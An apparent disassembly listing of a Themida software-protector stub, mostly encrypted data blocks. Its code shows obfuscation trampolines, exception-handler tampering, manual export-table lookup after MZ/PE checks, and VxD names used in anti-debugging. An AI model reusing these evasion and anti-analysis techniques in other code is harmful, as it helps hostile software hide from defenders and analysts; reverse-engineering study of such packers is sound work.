335D0000h, 0F60C3C0h, 68Ah, 860F00h, 81000000h dd 846985D3h, 9D096127h, 6280371h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ch, 8EC35040h, 9D92654Bh, 6290A168h dd 858DF860h, 62B87CFh, 9E9h, 0ABC90400h, 2128AE13h, 0E9503F06h dd 8, 864DB613h, 5F7C001h, 89240489h, 2834158Dh, 0FF64F806h dd 35h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1604h, 0C3534300h, 603D0081h, 0F381EB8Ah, 2D908069h dd 13E961h, 93940000h, 9A002837h, 93BBCA7h, 46FE06AEh dd 127AC955h, 258964DDh, 0 ; --------------------------------------------------------------------------- push 0 push ebp call sub_5819E7 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5819E7 proc near ; CODE XREF: Themida_:005819DFp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Ch inc ebp push ebp retn sub_5819E7 endp ; --------------------------------------------------------------------------- db 0B6h dd 0EC647C4Ah, 654D2F93h, 6840Fh, 95890000h, 62807C9h dd 8869858Dh, 14E9062Bh, 0E000000h, 0DB1A25C2h, 2246C578h dd 0D344956Bh, 0A9BA09DFh, 0FC94AF4Dh, 6A016089h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h dd 2CD1C350h, 2585C6F8h, 4F06280Dh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 19h, 0E3C35747h, 991E9A51h, 0D18529C3h dd 68062832h, 0F9FD50D1h, 138A0Fh, 8A0F0000h, 0Dh, 8E9h dd 0ABAA4200h, 11B28C7Ah, 24348132h, 73524FBh, 311B589h dd 0B5FF0628h, 628140Dh, 58858DFCh, 6A062B6Fh, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h dd 4AB5C353h, 0BD896039h, 6282729h, 0FE9h, 81154100h, 88381987h dd 0A988F9BEh, 427C28C3h, 418D0961h, 0FF06281Dh, 0B3E9F5D0h dd 0E9000000h, 14h, 6F20175Fh, 64AE3769h, 8AE092C6h, 3AAD1F1Dh dd 91279CA7h, 0C245C8Bh, 0E855h, 815D0000h, 2B87D9EDh dd 0D5858B06h, 8906282Dh, 28140D85h, 4D858B06h, 89062817h dd 28263585h, 5D858B06h, 89062810h, 280D7185h, 2585C606h dd 6280Dh, 712285C7h, 62Bh, 858D0000h, 62B8869h, 0B88389h dd 335D0000h, 6AC3C0h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 170424h, 51410000h, 0D9B563C3h, 0BD896081h, 628221Dh dd 32BDBD8Bh, 0E9610628h, 12h, 0DBE919C6h, 61741861h, 5CF89A03h dd 28D1BF7Fh, 74BCB0EAh, 6A0012FFh, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 0D618C357h dd 0D11746A0h, 0E18CDF30h, 22A19531h, 0B5890628h, 62814DDh dd 0B810Fh, 66600000h, 880FFB8Bh, 0 ; --------------------------------------------------------------------------- popa pop large dword ptr fs:0 xor [ebp+6280F55h], esi pusha mov edx, [ebp+6282DF9h] push edi push edx pop edx pop esi popa add esp, 4 stc popa jmp loc_581C9B ; --------------------------------------------------------------------------- push ebx push ecx push edx push esi push edi mov ebx, [esp+1Ch] cmp word ptr [ebx], 5A4Dh jnz loc_581C94 movzx eax, word ptr [ebx+3Ch] add ebx, eax cmp word ptr [ebx], 4550h jnz loc_581C94 mov ebx, [ebx+78h] add ebx, [esp+1Ch] mov esi, [ebx+24h] add esi, [esp+1Ch] push esi mov edi, [ebx+20h] mov esi, [ebx+1Ch] add edi, [esp+20h] add esi, [esp+20h] cld or ecx, 0FFFFFFFFh loc_581C5E: ; CODE XREF: Themida_:00581C74j ; Themida_:00581C7Cj inc ecx mov ebx, [esp+1Ch] mov edx, [edi] add edx, [esp+20h] add edi, 4 loc_581C6C: ; CODE XREF: Themida_:00581C78j mov al, [edx] test al, al jz short loc_581C7A cmp al, [ebx] jnz short loc_581C5E inc ebx inc edx jmp short loc_581C6C ; --------------------------------------------------------------------------- loc_581C7A: ; CODE XREF: Themida_:00581C70j cmp al, [ebx] jnz short loc_581C5E pop edi shl ecx, 1 movzx eax, word ptr [edi+ecx] mov eax, [esi+eax*4] add eax, [esp+1Ch] loc_581C8C: ; CODE XREF: Themida_:00581C96j pop edi pop esi pop edx pop ecx pop ebx retn 8 ; --------------------------------------------------------------------------- loc_581C94: ; CODE XREF: Themida_:00581C26j ; Themida_:00581C37j xor eax, eax jmp loc_581C8C ; --------------------------------------------------------------------------- loc_581C9B: ; CODE XREF: Themida_:00581C13j mov ecx, edx jmp short loc_581CD3 ; --------------------------------------------------------------------------- aIfsmgrVkdVmmVw db 'IFSMGR VKD VMM VWIN32 VXDLDR ',0 dd 2 dup(0) db 3 dup(0) ; --------------------------------------------------------------------------- loc_581CD3: ; CODE XREF: Themida_:00581C9Dj jmp loc_582559 ; --------------------------------------------------------------------------- push 0 push esi call sub_581CE3 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_581CE3 proc near ; CODE XREF: Themida_:00581CDBp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Ch inc esi push esi retn sub_581CE3 endp ; --------------------------------------------------------------------------- db 9Dh dd 0AD7B38B2h, 337277DEh, 14E9h, 5D3FF900h, 0ECDDBF1Bh dd 2EAF277Ah, 87D3AC9Dh, 722CE70Bh, 0FE960EAh, 0B9000000h dd 41753A6Bh, 0EDB1197Eh, 0EA675004h, 0B7605AB5h, 5ED2811Bh dd 6157E39Eh, 898285C7h, 62Bh, 6A0000h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 170424h, 52420000h, 0C2AF0BC3h dd 6AC68BBCh, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1A042444h, 40000000h, 8006C350h, 836BB01Bh, 1A850F15h dd 60000000h, 0FE9h, 5E37900h, 98529F45h, 523554C1h, 0A2596626h dd 0CB85BF66h, 5E96061h, 24000000h, 5BA0A118h, 0C850Fh dd 7E90000h, 7E000000h, 0C307A9A4h, 0F6137EEh, 6AD8B7h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h dd 31E0BFC3h, 0C1F5F5C5h, 6A10E8h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1A0424h, 55450000h, 0D77416C3h, 9BA46055h dd 10E9h, 99BB7D00h, 0EEF06706h, 64540A26h, 92D0C044h dd 0B70F601Ah, 61C78BF0h, 8C8C166h, 0BBBE6060h, 610CCC0Ch dd 86858961h, 6A062B89h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 18042444h, 45000000h, 0F60C355h, 66A6670Ch dd 6A08CBC1h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 19042444h, 46000000h, 0E3A1C356h, 0F3C2842Dh, 0F40FB83h dd 5685h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1C04h, 0C3574700h, 0EC594811h, 5116A136h, 14E9F7h, 0A8D10000h dd 5A47FB3Ch, 9E84391Ch, 0E8BB2611h, 517A4EEEh, 0BD8D8553h dd 62B895Ah, 8E9h, 78850500h, 814748FFh, 22DE9C1h, 83F50000h dd 850F0DFBh, 7Ch, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 18h, 7AC35747h, 2730CBBh, 8962BD8Dh, 810F062Bh dd 9, 66F08A60h, 392FC881h, 1E9E961h, 6A0000h, 3E850h dd 58200000h, 448958C3h, 44810424h, 190424h, 50400000h dd 0CCBAAAC3h, 6097BF95h, 1C5B4DBBh, 10E813h, 0E9300000h dd 5EF95BCh, 60E27FE9h, 59D4D36Bh, 8B668A90h, 0F56159CEh dd 0F01FB83h, 7885h, 0BD8DF900h, 62B896Ah, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 16h, 18C35040h, 0E9F89843h dd 173h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 19h, 0DAC35747h, 0FF4EAD6Bh, 12E94Eh, 8BF50000h, 1B400C2h dd 559EE0E6h, 915EDD91h, 1B01C310h, 10E9h, 8CC48E00h, 0C304D654h dd 0FE7ECC95h, 0D0BEA18Eh, 2AFB8380h, 0B7850Fh, 6A0000h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h dd 737492C3h, 8A0F1A6Ah, 7, 1860Fh, 60FC0000h, 0D56AD2BAh dd 12E9611Bh, 0DC000000h, 1B7C2F3Ch, 8CB136FCh, 9953A533h dd 0D1212DEEh, 72BD8D9Ah, 6A062B89h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1A042444h, 47000000h, 0BCD4C357h dd 83CBAD56h, 7E9F9B5h, 8D000000h, 38D2D02h, 98E982E6h dd 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1D042444h, 42000000h, 0C870C352h, 5374B201h, 0D3AB09FEh dd 8E9h, 0DC2A4200h, 3119FEE3h, 27FB83BCh, 334850Fh, 6A0000h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h dd 4627BBC3h, 4AEBB3FCh, 0E9FD301Fh, 0Fh, 0FA0C142Bh, 8A0E9736h dd 0CCF348DBh, 8DE3F1FCh, 2B897ABDh, 5E906h, 7CDF0000h dd 0E90E762Bh, 0Fh, 0B0CFAE30h, 189AA37Fh, 0D540D147h dd 89AE3FF4h, 2B898ABDh, 9E86006h, 5000000h, 0DDE8E080h dd 0CAEE4C6Fh, 815BD98Bh, 0B8D6E9F0h, 8C66612Ah, 13E960C8h dd 5F000000h, 4F4CFE4Ch, 382F9850h, 5127DC4Eh, 47F62476h dd 2461F66Fh, 0C00AF503h, 216850Fh, 800F0000h, 8, 2870Fh dd 61600000h, 90F5B58Dh, 6A062Bh, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 160424h, 55450000h, 5F70E0C3h, 61D68B60h dd 9188858Bh, 6A062Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 180424h, 52420000h, 24A34C3h, 0F608ED4h, 58Ah, 35A3BB00h dd 50612A21h, 10E9h, 46661D00h, 0B99D7D0Dh, 0D0E77FD4h dd 0A130B393h, 241489C8h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 16h, 98C35040h, 66608F0Dh, 870FDF8Bh, 0Bh dd 6E9h, 0B53C2200h, 61A8A21Ch, 244C010Fh, 8B6660FEh, 0C28B66FBh dd 6A5A61h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h dd 55450000h, 9C11D4C3h, 0DCB05669h, 60085B61h, 11E8h dd 1F0E9200h, 47497B54h, 4CBF8408h, 46B000DEh, 0BF0FAB27h dd 9E95EF7h, 30000000h, 0B4D215A8h, 812D4E2Bh, 24C28361h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 58C35545h dd 11E973h, 40E90000h, 0FAD6127Dh, 44AB3CF8h, 0C475CF19h dd 60B099EDh, 605FB5BAh, 0AE827h, 557D0000h, 550CC57Eh dd 0BFF64CD7h, 85BCAB8h, 66615B77h, 60FC7289h, 3820Fh dd 8B660000h, 0CE850C8h, 0D6000000h, 332D20E5h, 0BB35AF54h dd 5B8C9911h, 0C1FC6159h, 0DE910CEh, 22000000h, 61E1405Dh dd 92111266h, 9B70DC91h, 2728966h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 14h, 9C35545h, 1880F60h, 0F9000000h dd 0CD61F78Bh, 56006A04h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1804h, 0C3564600h, 0C549D92Dh, 14E99Dh, 308E0000h dd 0F1EED5F2h, 0EF18B2BDh, 7499A94Eh, 72635F0h, 5EE9C276h dd 0F000000h, 789h, 18A0F00h, 0FC000000h, 9188858Bh, 8C0F062Bh dd 16h, 11E9h, 0D37EBB00h, 0AE768BF9h, 648C7435h, 577173Ch dd 0B58D0BA1h, 62B90F5h, 0A6858DF5h, 0E9062B47h, 0Eh, 0FCF2A1FAh dd 2026B4BFh, 22AB32E4h, 0D0FFC85Eh, 8E9h, 0CF0C5700h dd 0B3E738CEh, 828589E4h, 6A062B89h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 64BEC352h dd 71145E16h, 6A614739h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 19042444h, 43000000h, 0D6C9C353h, 43927B27h dd 18D0Fh, 8BF80000h, 2B898285h, 42B56006h, 0AE9h, 57E9500h dd 0CEC658F2h, 61A689D1h, 14E9C3h, 78570000h, 0DFD10C81h dd 0A5594367h, 8510C311h, 4D31F885h, 6A60CC47h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h dd 0CABCC353h, 3CCB2848h, 88BD830Ch, 62B91h, 5B850Fh, 6A0000h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h dd 0C8BA6EC3h, 49594F4Bh, 5E9AB45h, 0FC000000h, 53CAC985h dd 8885C7FCh, 3F062B91h, 6A000101h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 19042444h, 40000000h, 6C52C350h dd 0EA13A717h, 1E9F8h, 0CDFC0000h, 20h, 74C00B00h, 0C708D37h dd 898ABD8Bh, 8B9062Bh, 0A6000000h, 75492275h, 30488BFAh dd 89869D8Bh ; --------------------------------------------------------------------------- loc_5824F0: ; CODE XREF: Themida_:00582565j sub eax, [esi] cmp ebx, [eax+34h] jg short loc_58250C mov edx, ebx imul edx, 4 add ecx, edx mov eax, [ecx] mov [ebp+62B8982h], eax jmp short loc_58250C ; --------------------------------------------------------------------------- dd 0C5EB008Bh ; --------------------------------------------------------------------------- loc_58250C: ; CODE XREF: Themida_:005824F5j ; Themida_:00582506j popa mov eax, [ebp+62B8982h] iret ; --------------------------------------------------------------------------- js loc_582520 pusha push ebx pop edx mov dl, 45h popa loc_582520: ; CODE XREF: Themida_:00582514j clc push 0 push ecx call sub_58252C and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58252C proc near ; CODE XREF: Themida_:00582524p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 18h inc ecx push ecx retn sub_58252C endp ; --------------------------------------------------------------------------- dd 0A2A10AD5h, 12800F7Bh, 0E9000000h, 0Dh, 0CCB0665Fh dd 5DE26A0Bh, 6EB1C880h ; --------------------------------------------------------------------------- daa loc_582559: ; CODE XREF: Themida_:loc_581CD3j mov eax, eax call near ptr loc_58256F+4 add eax, 7BEAF502h ja short loc_5824F0 fmul qword ptr [eax] add esi, [ebx-274D8260h] loc_58256F: ; CODE XREF: Themida_:0058255Bp mov ecx, 0E88381F9h adc [eax], al ; --------------------------------------------------------------------------- dw 0 dd 0C245B67Bh, 0DC0282EAh, 0D953E55Bh, 269C9847h, 5EFBB70Fh dd 68E0F5Ah, 81000000h, 5B0C90EEh, 0BAC28143h, 6600005Dh dd 0BB40A1BEh, 1733h, 3289E981h, 32FF02FDh, 5E535160h dd 0C781665Bh, 5861C953h, 51E5BB60h, 0BF0F5F01h, 0E88161C0h dd 367D1E9Ch, 81F18B66h, 5E8E03E8h, 81F98B7Ah, 280567E8h dd 425BE3Bh, 6050759Bh, 0DF8B7EB2h, 0B9028F61h, 243492B1h dd 0A2F3EA81h, 13E909FCh, 93000000h, 634EC9A1h, 6111B302h dd 6AEFB476h, 1037EBBEh, 0C2816FC9h, 9FCA2EFh, 3820F50h dd 80000000h, 4B59C7E9h, 11850Fh, 0F570000h, 0E95EF9BFh dd 22h, 7E85DBCDh, 66A8AD75h, 0E90D21BFh, 0FFFFFF6Eh, 63B9C29Ah dd 0FF071597h, 1F153F01h, 0CF7E7F15h, 48E94A80h, 50000001h dd 54000000h, 58000000h, 5C000000h, 60000000h, 64000000h dd 68000000h, 6C000000h, 0B0000000h, 0B4000000h, 0B8000000h dd 0BC000000h, 0C0000000h, 0C4000000h, 0C8000000h, 0CC000000h dd 0D0000000h, 0D4000000h, 0D8000000h, 0DC000000h, 0E0000000h dd 0E4000000h, 0E8000000h, 0EC000000h, 38h dup(0) dd 0B7000000h, 0EB005826h, 8D00A150h, 2B931285h, 12E906h dd 7A460000h, 0A36E7519h, 33712E7Bh, 0FC4DFF8h, 0C35979A0h dd 94528589h, 11E8062Bh, 7E000000h, 0D7ABEDAEh, 0A765CED2h dd 9DD4A71h, 7039F0C8h, 0D559D89h, 0C65E0628h, 280D2585h dd 0BD8B5406h, 62820B1h, 0EB49DA68h, 0DABF66E3h, 24048126h dd 0A771E4Fh, 68D0Fh, 0EE810000h, 2FD7002Ch, 140DB5FFh dd 0EF810628h, 32ECBB04h, 6F58858Dh, 8D2B062Bh, 6282F25h dd 0D68BD0FFh, 94568589h, 0DF81062Bh, 0DAEB289h, 3BE9h dd 0D6BF0F00h, 52B58B56h, 89062B94h, 52858306h, 4062B94h dd 8D60C35Eh, 2B9312B5h, 560FEB06h, 36FF006Ah, 945695FFh dd 835E062Bh, 3E8304C6h, 61EC7500h, 0C781FCC3h, 39F53E23h dd 9505858Dh, 8D31062Bh, 6280C79h, 4758589h, 0EBE90628h dd 0C000000h, 9757928Bh, 838A055Ch, 1D76A188h, 0DD7A0E0Ah dd 3733538Fh, 557D2F6Dh, 7F2D773Dh, 7DD77DD5h, 6DF73D57h dd 73D575DFh, 3D577DD7h, 0D55FEDF7h, 37335375h, 557D2F6Dh dd 7F2D773Dh, 7DD77DD5h, 6D171E57h, 602075DFh, 20206020h dd 2060E0E0h, 0F77B68ACh, 20A1E4A9h, 0A693B2D0h, 0B99DB7EDh dd 0ACA3F291h, 60206020h, 20206020h, 2060E0E0h, 0A335375h dd 557D2F0Dh, 60206020h, 0A7286020h, 50F0362Bh, 0B6F360C9h dd 0F796A1EFh, 0E3A7B4E0h, 0F47192B8h, 6DB9E9B3h, 602060F7h dd 60206020h, 6DF72020h, 73351ADFh, 3D577DD7h, 0D55FEDF7h dd 37335375h, 557D2F6Dh, 7F2D773Dh, 7DD77DD5h, 6DF73D57h dd 73D575DFh, 3D577DD7h, 0D55FEDF7h, 37335375h, 357D2F6Dh dd 0E0A1Eh, 0D25D3407h, 1E59A0A3h, 0 dd 0B3E90000h, 6800000Ch, 62B989Ch, 0FCE9A0E9h, 99B668FFh dd 96E9062Bh, 68FFFCE9h, 62B9AA2h, 0FCE98CE9h, 9B6868FFh dd 82E9062Bh, 68FFFCE9h, 62B9BF8h, 0FCE978E9h, 9C9A68FFh dd 6EE9062Bh, 68FFFCE9h, 62B9DF9h, 0FCE964E9h, 9EE868FFh dd 5AE9062Bh, 68FFFCE9h, 62B9FB4h, 0FCE950E9h, 0A08568FFh dd 46E9062Bh, 68FFFCE9h, 62BA14Ch, 0FCE93CE9h, 796F40FFh dd 2C2AF8FCh, 0DDDFABAFh, 948A5C60h, 48461317h, 2B9AC8CBh dd 0DFE3605Eh, 95991610h, 474BC8CAh, 0DA007D77h, 534E44Ah dd 6D407958h, 0CB9DC323h, 5B563D5h, 73457958h, 0B870587Dh dd 0E02762F6h, 3DF11610h, 0ED32AA6Eh, 7B749D60h, 9E16F015h dd 958F5FE5h, 30B6DA18h, 858ACA68h, 390CCE62h, 8B4AB01Ch dd 0AD755B43h, 0BC87511Fh, 47AD95BAh, 68D43A22h, 5CAE7242h dd 54FB8E65h, 6EE1379h, 25F5A972h, 6E93915Fh, 87895486h dd 666A421h, 5A8D78A0h, 0A63AFC79h, 0E10600D0h, 0EF2D93F3h dd 89795A8Dh, 0FA1D33C7h, 0EF795A8Dh, 42129851h, 167CDC48h dd 795A8DC6h, 0FB1CB072h, 82D27F7h, 1E8A8454h, 46F22CFAh dd 85198BBBh, 3C3A08BCh, 98966317h, 5A13A773h, 4BD5BA0h dd 37B4AE7Eh, 5A383D3Ch, 53D79C1h, 0A6A60000h, 9338E046h dd 7A3C7F73h, 464010E6h, 0A39D6D21h, 76633626h, 0D945ABA9h dd 33C585B5h, 42D645D8h, 0FCAED232h, 0DFE1ACFDh, 8BF02BAFh dd 1FF6E1F7h, 1E44755Bh, 472F544Eh, 299557B3h, 1DB563C9h dd 0A50B795Bh, 795B1D77h, 0C5873F01h, 0A0746831h, 1B795B1Dh dd 0FC5C1CD5h, 5B1D4696h, 30F279h, 0AA235B6Bh, 4310A449h dd 0C1594636h, 3D80h, 21F4AD00h, 0AB329804h, 0CD755BBEh dd 2EF2E60Bh, 0D8795B86h, 37EB1006h, 0D5CF9E6Ch, 3D62C8B0h dd 823CF559h, 5212CB11h, 7FCE6B2Eh, 0F2240F22h, 0C3902426h dd 0C1598AB6h, 0A900h, 10E02D00h, 703DF116h, 0C9994D72h dd 26F6AACFh, 0FA60C02Ch, 7F739322h, 58100EDCh, 9DE10296h dd 7F738F6Ah, 4BC8C292h, 117D7747h, 978D4BB1h, 0E5A77F73h dd 15E88851h, 8B1E84F0h, 0ED755B94h, 0EBBEAE2Bh, 9AF85ECAh dd 0FA737529h, 0D9A6CC38h, 8D5A5EDBh, 2848218Fh, 9974B40Ch dd 96FE2h, 7D734400h, 302EFC00h, 0E1E3AFB3h, 988E6064h dd 4C4A171Bh, 2F9ECCCFh, 0E3E76462h, 999D1A14h, 4B4FCCCEh dd 0DE04817Bh, 0B30E84Eh, 71447958h, 1513E0FCh, 77365A98h dd 38E7834Fh, 94DC3767h, 0C1DC6710h, 8D87572Dh, 21F4A710h dd 0AB329804h, 0CD755BBEh, 107B9F0Bh, 0C0A324C6h, 0ACA069FDh dd 795B2968h, 0D7540D53h, 0C159E9A2h, 0FA14h, 77466C00h dd 0D8A4587Dh, 723E70D6h, 0E0A1DC70h, 4AAA1610h, 739334E4h dd 0E5B2407Fh, 74DAC2E7h, 0C92917E0h, 7393B563h, 69FDBF7Fh dd 5CC8C693h, 0D29D6B36h, 0DD66AD0h, 738FD619h, 443E0E7Fh dd 0CA1278D8h, 6E7F7397h, 0F3F718ACh, 64042923h, 0A2087491h dd 755B940Fh, 90C6E571h, 8DDD2F52h, 0F55BBB27h, 795B2B27h dd 0DAFB8F51h, 0A9AB769Ch, 46089C84h, 83328873h, 0AC1B346Ch dd 1A7ADA46h, 5BFB64B4h, 0BA4E1079h, 7559BDA4h, 89EFB773h dd 73209953h, 51BD23E5h, 0E3605E2Bh, 0A61412DFh, 0B40D8EE3h dd 555D14EFh, 2A000008h, 0E2E66359h, 95991614h, 464AC7C9h dd 0FD017E74h, 0B2B53230h, 4A4815E4h, 0FAC9CDh, 0B2B47F83h dd 67613135h, 0CE34C4EAh, 79580A0Eh, 0A6E2572Ah, 24B8AE80h dd 0D7B9814Eh, 9147AD4Fh, 0A37F73A1h, 0BE73B1E1h, 0FB615B2Bh dd 44141895h, 0E064CD4Ah, 3DF11610h, 0F7F6736Dh, 5645187Ch dd 440A53F0h, 40795ED3h, 6E270C91h, 0B09D608h, 2C98FEE6h dd 0DDB666CCh, 0C27F73h, 0C7F65C6Ch, 7D755BC8h, 39C90759h dd 7EB00EDAh, 0A58DB2B0h, 87EDB511h, 795BE051h, 2FBB21E3h dd 9349AF0Fh, 0A5795BE0h, 0E0A177DDh, 11D3795Bh, 350117ABh dd 0D17B936Ch, 369D5FEh, 71AB57DCh, 2289456h, 29113634h dd 82D27F7h, 23C38C20h, 999B6750h, 0BA268C74h, 46993854h dd 2E9A5C7Eh, 0C13E3808h, 85F3EDBDh, 0A91AE8C8h, 6932E9C4h dd 3E000007h, 0F6FA776Dh, 0A9AD2A28h, 5A5EDBDDh, 11159288h dd 0C6C94644h, 5E5C2998h, 140EDDE1h, 0C6C89397h, 7B754549h dd 0E248D8FEh, 7958093Ah, 0E0F66B3Eh, 86AA1610h, 2C05C455h dd 0C99226D0h, 0C12D5629h, 70F719Dh, 0B38189C9h, 0ABBB4FB5h dd 5B98DE45h, 784AD875h, 88EEE4B6h, 98157B63h, 44B0D5A8h dd 7626C5DEh, 75456B73h, 0D2A2567Bh, 65CBB3D8h, 47B375D1h dd 0DA575121h, 724006D6h, 1674F74h, 4C693CDCh, 8D5A80E0h dd 0E8B66A8Fh, 0DAF084EAh, 790D8FC0h, 0A0C632F4h, 446AD6D0h dd 6E567B75h, 0E5B5B9DAh, 5326C6EBh, 0D516C62Ch, 60226D0Ch dd 81288EFAh, 0F36724F5h, 0E374C331h, 1DF8A0F9h, 6A366h dd 0B1A77800h, 64623034h, 1517E3E7h, 0CCC29498h, 807E4B4Fh dd 63520003h, 171B9896h, 0CDD14E48h, 7F830002h, 1238B5AFh dd 8FC1C82h, 0A5787958h, 421F430h, 43123898h, 0A83C2449h dd 5E3E8092h, 76E2A475h, 9868050h, 163B3505h, 1682A376h dd 352E2BF2h, 853D6D63h, 67613107h, 0F75D6D01h, 73701E68h dd 855076D6h, 4765E83h, 73200FD4h, 0F9646ACh, 0E0A27320h dd 94FA6628h, 73200F44h, 3E9A2EF0h, 19B50E7Ch, 5E39B40Dh dd 613A7h, 2117E800h, 0D4D2A0A4h, 85875357h, 3C320408h dd 0F0EEBBBFh, 0D3227073h, 878B0806h, 3D41BEB8h, 0EFF37072h dd 82A8251Fh, 84C8CF2h, 15E87958h, 0B380A6A0h, 14A890B5h dd 0B88A7F52h, 67EB9DC2h, 0B35EFD5Ah, 7CE84EB4h, 5EFC3D16h dd 29955775h, 0BC393303h, 82EEE8B8h, 6F948A5Ch, 8A2AF387h dd 0BC228EB7h, 737266DEh, 7C7A48D6h, 9D096F57h, 30ADA777h dd 3D625C2Ch, 5389EF4Fh, 0E573247Eh, 0FACD8F23h, 0E70D6DD9h dd 82844F19h, 7B0FF71Ch, 0C5EC665h, 6E3079h, 0AADE8855h dd 718F4621h, 46000005h, 0FE027F75h, 0B1B53230h, 6266E3E5h dd 191D9A90h, 0CED14E4Ch, 66643180h, 1C16E5E9h, 0CED09B9Fh dd 837D4D51h, 0EA50E006h, 79580F32h, 0A6FE7346h, 8FB4B280h dd 6D3D13A7h, 93D1076Dh, 0A1637F73h, 3CA2A46Fh, 6053ACD0h dd 3808D683h, 5727DBA4h, 6F06E93h, 0D0362DDEh, 7E9E0464h dd 0FA7F73D6h, 7FA49A6Ch, 7C9D3197h, 309CB98Ch, 72743C0Ah dd 79F50457h, 0F8E0056Bh, 0CEF45464h, 5C7206FCh, 755BB171h dd 988CB173h, 795BB744h, 90B5AF7Eh, 0EE130DDCh, 34EEA709h dd 47C47DC3h, 0C1594F32h, 3684h, 21F4B100h, 0A5729804h dd 0A70D0FDBh, 0F6069A82h, 5BBE0990h, 0EB9F2B75h, 0F81AA13Ch dd 0F1E50A70h, 795B302Fh, 0D9995298h, 57EBE1B3h, 59D1EF8Ah dd 0C4C7C1h, 0E0F40000h, 86AA1610h, 3E6EB3DCh, 5922B669h dd 6ED4D8A5h, 7F736AAEh, 7DA208CAh, 93FFF9C9h, 74BEE86Fh dd 7F13421Dh, 383202B6h, 0CFB477BBh, 9C6C7F73h, 0A2080AD6h dd 57512125h, 0FAF8C5EBh, 2AFD9D66h, 50379D09h, 42755BE1h dd 40130380h, 0C491B723h, 0CB312BFAh, 1A2ABEA6h, 755E25B4h dd 0DAC34F73h, 0E409EAD3h, 0CB1177E3h, 6D732005h, 0B3D945ABh dd 676BE8E6h, 0B92E9C9Ah, 45B40D13h, 412B36Ah, 16E70000h dd 0D19FA320h, 865256D3h, 31030784h, 0EDBABE3Bh, 236F72EFh dd 8A0705D2h, 40BDB786h, 0F26F713Ch, 0A7241EEEh, 4D8BF181h dd 0E779580Eh, 13E09F14h dd 0B783A915h, 14A890B5h, 251FEFF3h, 21F43FA8h, 0AB329804h dd 0CD755BBEh, 2EF2E60Bh, 99795B86h, 514F1D43h, 8704BDBDh dd 0C15943F2h, 0E0C4h, 82A6F100h, 0D25AEB28h, 0C0962A68h dd 1DD1F6F0h, 36E64C50h, 427F73B7h, 81E7E9B4h, 0CF02F61Bh dd 0F77F73ABh, 0ACB02D27h, 1676E2DCh, 73BB68B0h, 0B64A0C7Fh dd 597A4DEDh, 8DE087EDh, 0B8DE755Bh, 0DDC5EAECh, 0AE2BED49h dd 5ECAEBBEh, 449AAC3Ah, 37467678h, 919AD27h, 7564D7A3h dd 6FDB9D73h, 9FD4EB0Fh, 5E872E80h, 992D9391h, 7BF8F6C3h dd 4408193Dh, 280D50B8h, 3282AF6h, 0E4B1871Bh, 0AE978E6h dd 0AA85B40Ch, 323F3h, 3127F800h, 0E4E2B0B4h, 95976367h dd 4C421418h, 0FECBCFh, 0E3D28083h, 979B1816h, 4D51CEC8h dd 0FF038082h, 92B8352Fh, 0D7C9C02h, 25F87958h, 4913E0B0h dd 0AFDFB579h, 0A263019h, 0ACD23EA4h, 0D7BFE4DAh, 84E42243h dd 73FFFE1Eh, 24B87A7Fh, 7847E4Eh, 1610E09Eh, 736D3DF1h dd 1A76F7F6h, 4CB21E47h, 755B866Dh, 0E4DEADD3h, 0A632F450h dd 18C02686h, 1C795B9Eh, 4B0C65Ah, 21D0011h, 716B3A2Fh dd 193F9F0Bh, 0A2B84C4Eh, 0DF062EABh, 46E60BCDh, 80E65273h dd 0C5DBCDE4h, 0FA5AC688h, 0C28B4494h, 0CE64F0C9h, 6A758834h dd 0E9F98DF3h, 8DF9F3C3h, 8911C72Dh, 6123C9C2h, 0D8A8ACCDh dd 9FEB70DEh, 98730EEFh, 257E1h, 655B2C00h, 1816E4E8h dd 0C9CB979Bh, 8076484Ch, 3432FF03h, 17E6B4B7h, 0CBCF4C4Ah dd 818502FCh, 3337B4B6h, 0C6EC6963h, 0C08D036h, 592C7958h dd 1610E0E4h, 8B7E51F1h, 7755553Fh, 0A9157B55h, 5B98B843h dd 